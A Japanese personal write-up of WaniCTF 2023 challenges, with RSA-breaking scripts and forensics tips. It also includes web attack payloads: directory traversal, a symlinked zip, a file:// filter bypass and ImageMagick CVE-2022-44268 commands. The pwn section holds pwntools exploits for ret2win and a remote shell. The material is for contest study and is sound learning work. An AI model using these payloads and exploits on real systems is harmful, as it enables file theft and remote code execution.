初心者~中級者の CTF .個人参加.beginner は全解きしたいのきもちで挑んだが分かりやすい問題が多くて色んな技術にスムーズに入門することができた. これを機に CTF 入門していきたいきもち
waniCTF2023
official writeup

crypto

EZDORSA_Lv1

ChatGPT に入れたらできた.すげえ~

EZDORSA_Lv2

e が小さいので RSA の運用的にまずい.RSA の暗号化において $C=M^e\mod N$ だが,ここで $e$ が小さいと $M^e$ も小さくなる. このとき $M < \sqrt[e]{N}$ なら,$M^e < N$ より $\mod N$が関係なくなる. すると $C=M^e$ になるので,$M = \sqrt[e]{C}$ でもとまる

import gmpy2
from Crypto.Util.number import *

# 提供されたoutput.txtの内容
n = 25465155563758206895066841861765043433123515683929678836771513150236561026403556218533356199716126886534636140138011492220383199259698843686404371838391552265338889731646514381163372557117810929108511770402714925176885202763093259342499269455170147345039944516036024012941454077732406677284099700251496952610206410882558915139338028865987662513205888226312662854651278789627761068396974718364971326708407660719074895819282719926846208152543027213930660768288888225218585766787196064375064791353928495547610416240104448796600658154887110324794829898687050358437213471256328628898047810990674288648843902560125175884381
e = 7
c = 25698620825203955726406636922651025698352297732240406264195352419509234001004314759538513429877629840120788601561708588875481322614217122171252931383755532418804613411060596533561164202974971066750469395973334342059753025595923003869173026000225212644208274792300263293810627008900461621613776905408937385021630685411263655118479604274100095236252655616342234938221521847275384288728127863512191256713582669212904042760962348375314008470370142418921777238693948675063438713550567626953125

tmp = pow(5, 100, n)
c = c // tmp
print(tmp)
print(c)

m,result = gmpy2.iroot(c,e)

print(m)
print(long_to_bytes(int(m)))

EZDORSA_Lv3

n はせいぜい 25 bit の素数同士の積なので素因数分解ができる

factor(22853745492099501680331664851090320356693194409008912025285744113835548896248217185831291330674631560895489397035632880512495471869393924928607517703027867997952256338572057344701745432226462452353867866296639971341288543996228186264749237402695216818617849365772782382922244491233481888238637900175603398017437566222189935795252157020184127789181937056800379848056404436489263973129205961926308919968863129747209990332443435222720181603813970833927388815341855668346125633604430285047377051152115484994149044131179539756676817864797135547696579371951953180363238381472700874666975466580602256195404619923451450273257882787750175913048168063212919624027302498230648845775927955852432398205465850252125246910345918941770675939776107116419037)

単純に複数の素数からなる RSA になるので,復号すればいい

from math import gcd
from functools import reduce
from Crypto.Util.number import *

n = 22853745492099501680331664851090320356693194409008912025285744113835548896248217185831291330674631560895489397035632880512495471869393924928607517703027867997952256338572057344701745432226462452353867866296639971341288543996228186264749237402695216818617849365772782382922244491233481888238637900175603398017437566222189935795252157020184127789181937056800379848056404436489263973129205961926308919968863129747209990332443435222720181603813970833927388815341855668346125633604430285047377051152115484994149044131179539756676817864797135547696579371951953180363238381472700874666975466580602256195404619923451450273257882787750175913048168063212919624027302498230648845775927955852432398205465850252125246910345918941770675939776107116419037
e = 65537
c = 1357660325421905236173040941411359338802736250800006453031581109522066541737601274287649030380468751950238635436299480021037135774086215029644430055129816920963535754048879496768378328297643616038615858752932646595502076461279037451286883763676521826626519164192498162380913887982222099942381717597401448235443261041226997589294010823575492744373719750855298498634721551685392041038543683791451582869246173665336693939707987213605159100603271763053357945861234455083292258819529224561475560233877987367901524658639475366193596173475396592940122909195266605662802525380504108772561699333131036953048249731269239187358174358868432968163122096583278089556057323541680931742580937874598712243278738519121974022211539212142588629508573342020495

a_array=[]
n_array=[]
divisors = [16969003, 17009203, 17027027, 17045117, 17137009, 17151529, 17495507, 17685739, 17933647, 18206689, 18230213, 18505933, 18613019, 18868781, 18901951, 18947729, 19022077, 19148609, 19574987, 19803209, 20590697, 20690983, 21425317, 21499631, 21580043, 21622099, 21707797, 21781139, 21792359, 21982481, 22101437, 22367311, 22374509, 22407799, 22491913, 22537409, 22542229, 22550677, 22733041, 23033441, 23049673, 23083759, 23179243, 23342663, 23563571, 23611043, 23869933, 24027973, 24089029, 24436597, 24454291, 24468209, 24848633, 25564219, 25888721, 26055889, 26119147, 26839909, 27152267, 27304777, 27316717, 27491137, 27647687, 27801167, 28082749, 28103563, 28151399, 28620611, 29035709, 29738689, 29891363, 29979379, 30007841, 30013391, 30049171, 30162343, 30419063, 30461393, 30625601, 31004861, 31108043, 31123457, 31269479, 31384663, 31387957, 31390189, 31469279, 32307589, 32432339, 32514061, 32628367, 32687509, 32703337, 32709977, 32715343, 32737429, 32831261, 33388603, 33418129, 33472771]

def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a // b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1

def CRT(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)
    for ni, ai in zip(n,a):
        p=prod // ni
        sum += ai * mul_inv(p, ni) * p
    return sum % prod



for p in divisors:
    phi = p-1
    d = mul_inv(e, phi)
    mk = pow(c, d, p)
    n_array.append(p)
    a_array.append(mk)

print(n_array)
print(a_array)

m = CRT(n_array, a_array)
print(long_to_bytes(int(m)))

こんな CRT とかしなくても素朴に実装すればいいらしい

from math import gcd
from functools import reduce
from Crypto.Util.number import *

n = 22853745492099501680331664851090320356693194409008912025285744113835548896248217185831291330674631560895489397035632880512495471869393924928607517703027867997952256338572057344701745432226462452353867866296639971341288543996228186264749237402695216818617849365772782382922244491233481888238637900175603398017437566222189935795252157020184127789181937056800379848056404436489263973129205961926308919968863129747209990332443435222720181603813970833927388815341855668346125633604430285047377051152115484994149044131179539756676817864797135547696579371951953180363238381472700874666975466580602256195404619923451450273257882787750175913048168063212919624027302498230648845775927955852432398205465850252125246910345918941770675939776107116419037
e = 65537
c = 1357660325421905236173040941411359338802736250800006453031581109522066541737601274287649030380468751950238635436299480021037135774086215029644430055129816920963535754048879496768378328297643616038615858752932646595502076461279037451286883763676521826626519164192498162380913887982222099942381717597401448235443261041226997589294010823575492744373719750855298498634721551685392041038543683791451582869246173665336693939707987213605159100603271763053357945861234455083292258819529224561475560233877987367901524658639475366193596173475396592940122909195266605662802525380504108772561699333131036953048249731269239187358174358868432968163122096583278089556057323541680931742580937874598712243278738519121974022211539212142588629508573342020495

a_array=[]
n_array=[]
divisors = [16969003, 17009203, 17027027, 17045117, 17137009, 17151529, 17495507, 17685739, 17933647, 18206689, 18230213, 18505933, 18613019, 18868781, 18901951, 18947729, 19022077, 19148609, 19574987, 19803209, 20590697, 20690983, 21425317, 21499631, 21580043, 21622099, 21707797, 21781139, 21792359, 21982481, 22101437, 22367311, 22374509, 22407799, 22491913, 22537409, 22542229, 22550677, 22733041, 23033441, 23049673, 23083759, 23179243, 23342663, 23563571, 23611043, 23869933, 24027973, 24089029, 24436597, 24454291, 24468209, 24848633, 25564219, 25888721, 26055889, 26119147, 26839909, 27152267, 27304777, 27316717, 27491137, 27647687, 27801167, 28082749, 28103563, 28151399, 28620611, 29035709, 29738689, 29891363, 29979379, 30007841, 30013391, 30049171, 30162343, 30419063, 30461393, 30625601, 31004861, 31108043, 31123457, 31269479, 31384663, 31387957, 31390189, 31469279, 32307589, 32432339, 32514061, 32628367, 32687509, 32703337, 32709977, 32715343, 32737429, 32831261, 33388603, 33418129, 33472771]

phi = 1

for i in divisors:
    phi *= (i-1)

d = pow(e, -1, phi)
m = pow(c, d, n)
print(long_to_bytes(int(m)))

pqqp

$s=p^q + q^p mod n$ がリークしているので,これから RSA を復号しようみたいな問題.

$$ s = p^q + q^p mod n $$ $$ s = p^q + q^p + kn = p^q + q^p + k(pq) $$ フェルマーの小定理を使う $$ s = q^p \mod q = p \mod q $$ $$ s = p^q \mod p = q \mod p $$ $$ s = p+q \mod pq $$ よって $s=p+q, n=pq$ で $p, q$ を知れればいい.

import gmpy2
from Crypto.Util.number import *
from sympy import *

n=31091873146151684702346697466440613735531637654275447575291598179592628060572504006592135492973043411815280891993199034777719870850799089897168085047048378272819058803065113379019008507510986769455940142811531136852870338791250795366205893855348781371512284111378891370478371411301254489215000780458922500687478483283322613251724695102723186321742517119591901360757969517310504966575430365399690954997486594218980759733095291730584373437650522970915694757258900454543353223174171853107240771137143529755378972874283257666907453865488035224546093536708315002894545985583989999371144395769770808331516837626499129978673
e=65537
c=8684906481438508573968896111659984335865272165432265041057101157430256966786557751789191602935468100847192376663008622284826181320172683198164506759845864516469802014329598451852239038384416618987741292207766327548154266633297700915040296215377667970132408099403332011754465837054374292852328207923589678536677872566937644721634580238023851454550310188983635594839900790613037364784226067124711011860626624755116537552485825032787844602819348195953433376940798931002512240466327027245293290482539610349984475078766298749218537656506613924572126356742596543967759702604297374075452829941316449560673537151923549844071
s=352657755607663100038622776859029499529417617019439696287530095700910959137402713559381875825340037254723667371717152486958935653311880986170756144651263966436545612682410692937049160751729509952242950101025748701560375826993882594934424780117827552101647884709187711590428804826054603956840883672204048820926

p = symbols("p")
q = symbols("q")

eq = [p*q-n, p+q-s]
result = list(nonlinsolve(eq,[p,q]))

p,q=int(result[1][0]), int(result[1][1])

phi=(p-1)*(q-1)
d = gmpy2.invert(e,phi)
m=pow(c,d,n)

flag = long_to_bytes(m)
print(flag)

fusion

マスク mask = int("55" * 128, 16) が$p, q$ にかけられている. このマスクは 1010101010... となっているので,$p$ は奇数ビット,$q$ は偶数ビットが 分かった状態で $r=p+q$ になる.つまり $pq=n, p+q=r$ が分かった状態で渡される.
このとき例えば下位 $k$ ビットが分かっている状態なら,分かっていない $k+1$ ビットを, $1,0$ の二通りを試すことで $k+1$ ビットが分かる.

from Crypto.PublicKey import RSA
import gmpy2
from Crypto.Util.number import *

n = 27827431791848080510562137781647062324705519074578573542080709104213290885384138112622589204213039784586739531100900121818773231746353628701496871262808779177634066307811340728596967443136248066021733132197733950698309054408992256119278475934840426097782450035074949407003770020982281271016621089217842433829236239812065860591373247969334485969558679735740571326071758317172261557282013095697983483074361658192130930535327572516432407351968014347094777815311598324897654188279810868213771660240365442631965923595072542164009330360016248531635617943805455233362064406931834698027641363345541747316319322362708173430359
e = 65537
c = 887926220667968890879323993322751057453505329282464121192166661668652988472392200833617263356802400786530829198630338132461040854817240045862231163192066406864853778440878582265466417227185832620254137042793856626244988925048088111119004607890025763414508753895225492623193311559922084796417413460281461365304057774060057555727153509262542834065135887011058656162069317322056106544821682305831737729496650051318517028889255487115139500943568231274002663378391765162497239270806776752479703679390618212766047550742574483461059727193901578391568568448774297557525118817107928003001667639915132073895805521242644001132
r = 163104269992791295067767008325597264071947458742400688173529362951284000168497975807685789656545622164680196654779928766806798485048740155505566331845589263626813345997348999250857394231703013905659296268991584448212774337704919390397516784976219511463415022562211148136000912563325229529692182027300627232945

pq = []

mask = int("55" * 128, 16)
pq.append(r & mask) # p(odd)
pq.append(r & (mask<<1)) # q(even)

length = int("55" * 128, 16).bit_length()

for i in range(length+1):
    pqOR = int(i%2==0)
    n_mask = int("1" * (i + 1), 2)
    n_masked = n & n_mask
    if (n_masked == ((pq[pqOR]+(1<<i))*pq[pqOR-1]) & n_mask):
        pq[pqOR] = pq[pqOR]+(1<<i)
assert pq[0]*pq[1] == n

phi = (pq[0]-1)*(pq[1]-1)
d = gmpy2.invert(e,phi)
m=pow(c,d,n)
flag = long_to_bytes(m)
print(flag)

forensics

just_mp4

与えられた mp4 で exiftool するとフラグが見える

whats_happning

foremost すると png が見える

lowkey_messedup

USB パケットの pcap なので USB キーボードだと思う.これを見て復元

beg_for_a_png

export object だとうまくいかない.なんでや
tshark でバイナリを抜き出したらうまくいった

Apocalypse

これ を使った. 本来は IEND を消せばいいらしい.

web

indexedDB

開発者ツールって書いてあったから見てみたけど何も見えなくて焦った
index.html にリダイレクトされているのでひとつ前に戻って burp を見るとみつかる.

Extract service 1

post で word/document.xml が送られている.office ファイルが zip なので中にある document.xml が解凍されて送られているということだろうか. /flag にフラグがあると分かっているので見るファイルを変える,つまりディレクトリトラバーサル ../../../flag

64bps

dd if=/dev/random of=2gb.txt bs=1M count=2048 で2bg.txt に 2048*1M のファイルが付加されている. cat flag.txt >> 2gb.txt で2bg.txt の末尾にフラグを入れられている. https://64bps-web.wanictf.org/2gb.txt にアクセスしてみても一生繋がらない. 帯域制限がかかっている(64bps).おもしろい
range ヘッダを使えば疲労範囲を抽出できる (このパラメータは katagaitaiCTF で初めて知った.ありがとう NRI). curl -r 1073741824 https://64bps-web.wanictf.org/2gb.txt

Extract service 2

さっきのディレクトリトラバーサルが対策されている.具体的に docx なら word/document みたいに固定されている.じゃあファイルを変えるにはどうするんだろうと思ってシンボリックリンク をやってみる.

ln -s /flag document.xml
cd ..
7z a solve.zip word

screenshot

url= で指定した URL のスクリーンショットをとってくれるアプリ. Dockerfile 的には /flag.txt にフラグが書いてあるっぽい. url=file:///flag.txt ってやってみたけどまあ違った. クエリの条件があったので見てみる.

if (!req.query.url.includes("http") || req.query.url.includes("file")) {
        res.status(400).send("Bad Request");
        return;
      }

http が入っている必要があり,かつ file が入っていたら NG らしい. どうしたらいいのか...と思って色んな writeup を漁って以下のように解決した

  • fileFILE とかにすればいい
  • クエリパラメータを足して url=FILE:///flag.txt?http=aaa

certified1

画像を送ると別の画像をオーバーレイして返してくれるアプリ. 以下のような処理がされている

.args([
            "-c",
            "timeout --signal=KILL 5s magick ./input -resize 640x480 -compose over -gravity southeast ./overlay.png -composite ./output.png",
        ])

なにしてるんだと思って chatGPT に投げたら ImageMagick を使っているらしい.便利だ
krenaif さんの動画で ImageMagick の脆弱性についてした覚えがあるので調べてみる. Dockerfile を見ると 7.1.0-51 らしい.CVE-2022-44268 .

ARG MAGICK_URL="https://github.com/ImageMagick/ImageMagick/releases/download/7.1.0-51/ImageMagick--gcc-x86_64.AppImage"
python3 generate.py -f "flag_A" -o exploit.png
identify -verbose res.png
python3 -c 'print(bytes.fromhex("~~~").decode("utf-8"))'

rev

Just_pass

strings

javaering

java-decompiler GUI .フラグに対して mod 30 でアクセスする部分があったのでこれをバラしてやればいい

fermat

ghidra で見ると $a^3 + b^3 = c^3$ かを検証する部分があるので gdb で分岐直前で ZF フラグを折ればいい

theseus

do {
    if (0x19 < local_60) {
      puts("Correct!");
      uVar3 = 0;
LAB_00101478:
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return uVar3;
    }
    iVar2 = compare((int)local_48[local_60],local_60);
    if (iVar2 == 0) {
      puts("Incorrect.");
      uVar3 = 1;
      goto LAB_00101478;
    }
    local_60 = local_60 + 1;
  } while( true );

ここで見るべきなのは iVar2 = compare((int)local_48[local_60],local_60); で, これを常に(0x19 回)正解し続ければいい. compare 関数を見てみると

if (*(long *)(in_FS_OFFSET + 0x28) != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return param_1 == *(char *)((long)&local_38 + (long)param_2);

ここで入力の param_1 と比較用パスワード local_38 + index(param_2) を比較しているので local_38 を見ればいい.

b *0x555555555245
r <<< 123

-----

[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd10 ("esktop/w")
0008| 0x7fffffffdd18 --> 0x722f463100000000 ('')
0016| 0x7fffffffdd20 ("FLAG{vKCsq3jl4j_Y0uMade1t}")
0024| 0x7fffffffdd28 ("sq3jl4j_Y0uMade1t}")
0032| 0x7fffffffdd30 ("Y0uMade1t}")
0040| 0x7fffffffdd38 --> 0x7d74 ('t}')
0048| 0x7fffffffdd40 --> 0x4746524f4c2d4300 ('')
0056| 0x7fffffffdd48 --> 0xb9324754ed0d9100 
[------------------------------------------------------------------------------]

web_assembly

開発者ツールで index.wasm を見たらそれっぽい羅列があったので入れたら通った. どうするのが正解だったんだろう

pwn

01.netcat

nc netcat-pwn.wanictf.org 9001 やるだけ

02.only_once

問題数が足りなくてシェルが得られない.9文字以上入れると chall を壊せるので問題数を増やせる

03.ret2win

from pwn import *

target=ELF('chall')
server=('ret2win-pwn.wanictf.org')
port=(9003)

with remote(server,port) as r:
        payload=b''
        payload+=b'A'*0x28
        payload+=p64(0x401369)
        r.sendlineafter(b'>', payload)
        r.interactive()

04.shellcode_basic

from pwn import *

context.arch = 'amd64'

s=remote('ret2win-pwn.wanictf.org', 9004)
s.sendline(asm(shellcraft.sh()))
s.interactive()

文章はここで途切れている